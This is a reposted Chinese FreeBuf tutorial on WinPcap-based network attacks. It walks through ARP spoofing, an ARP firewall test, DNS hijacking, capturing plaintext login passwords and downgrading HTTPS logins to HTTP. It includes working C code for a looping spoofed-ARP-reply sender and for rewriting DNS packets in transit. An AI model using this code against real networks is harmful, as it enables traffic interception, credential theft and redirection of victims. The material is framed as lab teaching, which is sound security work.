转载

WinPcap开发(三):欺骗与攻击

0×00 前言

上一章节,我们学习了主机发现和端口扫描的原理,并基于winpcap开发相关工具进行测试,针对实验数据进行比对,最后提出优化建议。本章节将介绍ARP欺骗与中间人攻击的相关知识,并利用winpcap进行相关实验。

0×01 ARP欺骗

前两章节里已经介绍过ARP协议的格式,其主要用于子网内主机IP地址与MAC地址映射关系的建立。

WinPcap开发(三):欺骗与攻击

上图是主机B(192.168.0.200)发起的一次针对网关A(192.168.0.1)主机的ARP请求,请求包的目的MAC地址为Broadcast地址,即子网内所有主机均可以收到该查询包,而只有网关会针对该查询作出响应。查看主机B的ARP缓存,可发现会多出如下图记录。

WinPcap开发(三):欺骗与攻击

可见主机在完成ARP请求后,会将相关的查询记录存入缓存列表,以免重复请求,从而提高效率。

那么问题来了,如果该子网中主机C(192.168.0.100)冒充网关A进行ARP回应,会发生什么事?下面我们依旧利用ARPSPOOF源码中的一段代码进行该欺骗实验。

关键代码 // // 发送ARP响应数据包的欺骗线程 // UINT SpoofThread(LPVOID lparam) { ARPSPOOF arpspoof; memcpy(&arpspoof, (PARPSPOOF) lparam, sizeof(ARPSPOOF)); u_char ucFrame[ARP_LEN]; // 设置Ethernet头 ETHeader eh = { 0 }; memcpy(eh.dhost, arpspoof.ucTargetMAC, 6); memcpy(eh.shost, arpspoof.ucSelfMAC, 6); eh.type = htons(ETHERTYPE_ARP); memcpy(ucFrame, &eh, sizeof(eh)); // 设置Arp头 ARPHeader ah = { 0 }; ah.hrd = htons(ARPHRD_ETHER); ah.eth_type = htons(ETHERTYPE_IP); ah.maclen = 6; ah.iplen = 4; ah.opcode = htons(ARP_REPLY); memcpy(ah.smac, arpspoof.ucPretendMAC, 6); //Falsified C's MAC address ah.saddr = inet_addr((char *) arpspoof.szIP);  //C's IP address memcpy(ah.dmac, arpspoof.ucTargetMAC, 6); ah.daddr = inet_addr((char *) arpspoof.szTarget);   //Destination A's IP address memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah)); // Loop send RARP Packet  while(1) { if(pcap_sendpacket(arpspoof.adhandle, (const unsigned char *) ucFrame, ARP_LEN) < 0) { printf("Send Packet Error/n"); return FALSE; } StaticARP(arpspoof.szIP, &arpspoof.ucIPMAC[0]); Sleep(1000); // Sleep 1 sec to restore arp cache } return TRUE; }

该段代码主要是用来模拟网关A进行ARP响应,但是其中的MAC地址是主机C的,这样会导致主机B收到该响应包,而认为主机C的MAC地址是网关192.168.0.1对应的MAC。下图是欺骗程序启动后的缓存图。

WinPcap开发(三):欺骗与攻击

可以看到该MAC地址实际上属于主机C(192.168.0.100)

WinPcap开发(三):欺骗与攻击

使用wireshark抓包可以看到,欺骗程序在不断的发送如下图欺骗数据包,同时伪装主机B和网关A。

WinPcap开发(三):欺骗与攻击

周期性发送虚假ARP包,原因在于该子网中的真正主机也会进行正常的应答,为了让目标主机的ARP缓存始终更新为虚假MAC地址,则需要我们高频发送虚假ARP包。

看到这里,我们会发现,主机C像一个幽灵一样,成功的进入了主机B和网关A之间的通信链路,充当了信使的作用,带来了很大的安全隐患。这个信使可以随意查看、篡改、截留该通信链路上的数据。这便是一种形式的中间人攻击,在后面的小节中我们会介绍几种中间人攻击的应用场景。

WinPcap开发(三):欺骗与攻击

0×02 ARP防火墙

针对上述ARP欺骗的危害,各大安全厂商也推出了ARP防火墙,用于防范ARP欺骗攻击。

下面我们来看看某知名安全厂商的ARP欺骗防护产品。(先声明一下,笔者真的真的真的没有没有没有拿过任何形式广告费,重要的事说三遍!!!)

打开“安全卫士”,进入“我的工具”,可以看到“流量防火墙”。

WinPcap开发(三):欺骗与攻击

开启ARP防火墙,同时进行数据包截取,可以看到防火墙在进行初始化时,在4秒内向网关发送了9次ARP请求。

WinPcap开发(三):欺骗与攻击

这一步骤是为了防火墙在绑定网关时,确保所绑定地址的正确性,而不是将中间人地址绑定,否则防火墙会变成中间人的加固墙。下图是启动后的防火墙,已经自动绑定了网关。

WinPcap开发(三):欺骗与攻击

此时,我们开启ARP欺骗程序,会看到防火墙如下反应。

WinPcap开发(三):欺骗与攻击

矮油,不错哦。ARP欺骗攻击被成功检测出来并进行了拦截。

从上可以看到,ARP防火墙是通过绑定网关MAC来防止中间人冒充网关。那么,中间人冒充主机B欺骗网关呢?在ARP主动防御中,防火墙提供了对应的策略。

WinPcap开发(三):欺骗与攻击

这些设置其实就是让客户机主动进行ARP广播,周期性地告知子网内的所有主机自己的真实地址。但是这也存在着一个问题,如果中间人广播的频率更快呢?这势必会引发网络的不稳定性。如果在网关上,也绑定主机B的地址,那么就可以很好的避免这个问题。在一些安全性要求较为严格的网络环境中,便是这样做的。

聪明的同学已经发现,使用ARP欺骗进行恶意广播,会导致主机断线或者流量的劫持,基于这一原理,各类网管工具便应用而生。网络执法官、P2P终结者便是利用中间人攻击的原理,劫持流量,对流量进行限制。

0×03 DNS劫持

上面介绍的ARP欺骗可以使得中间人获取主机与网关的所有通信数据,那么我们可以对其中的重要数据做一些改变,以完成我们的目的。

WinPcap开发(三):欺骗与攻击

从下图中我们看到,中间人机器主机C上成功截获到主机B和网关A的通信数据,该段通信数据是访问freebuf网站。

WinPcap开发(三):欺骗与攻击

我们改变其中的DNS数据包,篡改其中的数据内容,即可将访问引向我们的目标网站,这便是DNS劫持。

此处有两种方法可以实现:

1.将DNS请求包的请求域名改成目标域名;

2.将DNS应答包中查询结果改成目标IP。

下面我们使用方法1进行域名 www.ifeng.com 到 www.elong.com 的劫持。

ARPSPOOF程序中带有数据包内容替换功能,但是其只能修改TCP的内容,而DNS协议是基于UDP协议的,所以我们需要将程序进行调整。

关键代码: // // 替换数据包中内容, 重新计算校验和 // void ReplacePacket(const u_char *pkt_data, unsigned int pkt_len) { ETHeader *eh;     IPHeader *ih;     UDPHeader *uh;     u_int ip_len; eh = (ETHeader *) pkt_data; ih = (IPHeader *) (pkt_data + 14); ip_len = (ih->iphVerLen & 0xf) * 4; uh = (UDPHeader *) ((u_char*)ih + ip_len); // 得到UDP数据包的指针和长度 unsigned char *dataudp = (unsigned char *) ih + sizeof(_IPHeader)  + sizeof(struct _UDPHeader); int lenudp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_UDPHeader)); // 开始替换数据内容,重新计算校验和 PSTRLINK pTmp = strLink; int i = 0; while (pTmp->next) { // 开始匹配规则进行替换 if(ntohs(*(USHORT *)(dataudp+2)) == 0x0100)//UDP请求包 { if (Replace(dataudp, lenudp, pTmp->szOld, pTmp->szNew)) { printf("    Applying rul %s ==> %s/n", pTmp->szOld, pTmp->szNew); i ++; } }else { if (Replace(dataudp, lenudp, pTmp->szNew, pTmp->szOld))//UDP应答包 { printf("    Applying rul %s ==> %s/n", pTmp->szNew, pTmp->szOld); i ++; } } pTmp = pTmp->next; } if (i >0) // 如果数据包被修改,重新计算校验和 { printf("[*] Done %d replacements, forwarding packet of size %d/n", i, pkt_len); ih->ipChecksum = 0; uh->uh_sum = 0; ih->ipChecksum = checksum((USHORT *)ih, sizeof(_IPHeader)); ComputeUdpPseudoHeaderChecksum(ih, uh, (char *)dataudp, lenudp); } else printf("[*] Forwarding untouched packet of size %d/n", pkt_len); }

需要注意的是,DNS请求和应答是配对的,需要两者的ID一致,且请求和应答的域名一致才可生效。所以上面的代码段将DNS请求包中的域名替换成目标域名,然后再将应答中的域名恢复成原始域名。

由于DNS也有缓存机制,所以在实验前,需要将主机内的缓存清除,使用ipconfig/flushdns命令清除DNS缓存。

启动中间人主机C上的DNS劫持程序,然后在被劫持主机B上面PING某知名网站。

WinPcap开发(三):欺骗与攻击

下图为正常主机上所得到的两知名网站的结果。

WinPcap开发(三):欺骗与攻击

通过比对发现,主机B已经受到dns劫持,域名ifeng.com被劫持到elong.com。可以通过ipconfig/displaydns查看其dns缓存。

在dns劫持的情况下,主机B用浏览器访问 http://www.ifeng.com ,中间人主机C上进行抓包,可以看到如下结果。

WinPcap开发(三):欺骗与攻击

主机B的浏览器打开的页面如下。

WinPcap开发(三):欺骗与攻击

这样便完成了一次简单的DNS劫持攻击。我们还可以在子网中伪造DNS服务器,为网内用户提供解析服务,按照需求将一些DNS请求解析到目标IP上。

0×04 隐私获取

说到中间人攻击,不得不提到的就是wifi安全,根据360最新发布的 《315 WIFI安全报告》

可以看到目前WIFI安全问题非常突出。

WinPcap开发(三):欺骗与攻击

WinPcap开发(三):欺骗与攻击

315晚会上也连续两年提到了wifi安全所导致的各类侵害事件。

WinPcap开发(三):欺骗与攻击

WinPcap开发(三):欺骗与攻击

从315晚会的现场实验中可以看到安全人员利用中间人攻击劫持wifi流量,获取了大量隐私数据,其中包含大量用户名和密码。下面我们举个例子,看看如何从流量中过滤出重要数据。

打开某网站登录页面

WinPcap开发(三):欺骗与攻击

输入用户名密码,点击登录,利用fiddler抓取网页数据包,可以看到如下结果。

WinPcap开发(三):欺骗与攻击

可以看出,该网站使用明文传输用户口令,所以可以很容易的过滤出这些内容。感兴趣的同学会发现,目前很多网站或应用都采用明文传输信息。

0×05 HTTPS安全吗?

为了解决中间人攻击带来的数据泄露问题,HTTPS开始逐渐普及,目前很多重要网站都全站使用https协议。

WinPcap开发(三):欺骗与攻击

但是这并不意味https就是完全安全的。

波兰遭遇大规模DNS劫持攻击 这便是一次针对https的攻击,黑客采用ssl剥离技术,实施中间人攻击。在自己与银行之间按照正常情况适用https,但是在用户与自己之间是http,这样便可以成功捕获用户明文数据。

由于https的大规模使用对于企业有一定的成本,所以很多网站并非全站使用https,而是在一些关键页面使用,如登录页、个人主页等,这便存在一种普遍现象,从http页面跳转到https页面,意味着https页面的入口页面是不安全的,那么就存在很大的安全隐患。

下图是从CSDN首页进入的登录页面,可以看到登录页是https。

WinPcap开发(三):欺骗与攻击

这是首页的代码,可以看到首页是http协议,所以这个页面是可以进行篡改,将登录按钮的链接替换,把登录页从https降为http。

WinPcap开发(三):欺骗与攻击

下图为http的登录页。

WinPcap开发(三):欺骗与攻击

使用该页面登录我们成功捕获到了明文密码。

WinPcap开发(三):欺骗与攻击

WinPcap开发(三):欺骗与攻击

而FREEBUF登录页面就好很多,将登录地址改为http后,页面会自己跳转到https。

WinPcap开发(三):欺骗与攻击

0×06总结

在本章中,我们学习了ARP欺骗及防护、DNS劫持、中间人攻击、HTTPS等相关知识,并利用winpcap开发工具进行测试实验。而在我们的生活中,很多地方都存在着中间人攻击,多家安全厂商也披露过相关事件,例如运营商劫持流量进行广告推广、黑产劫持中间设备替换各类软件升级包等。最后和大家共勉的一句话就是,外面的wifi还是别蹭了吧!!!

*本文原创作者:追影人,本文属FreeBuf原创奖励计划,未经许可,禁止转载。

原文  http://www.freebuf.com/articles/network/105853.html
正文到此结束
Loading...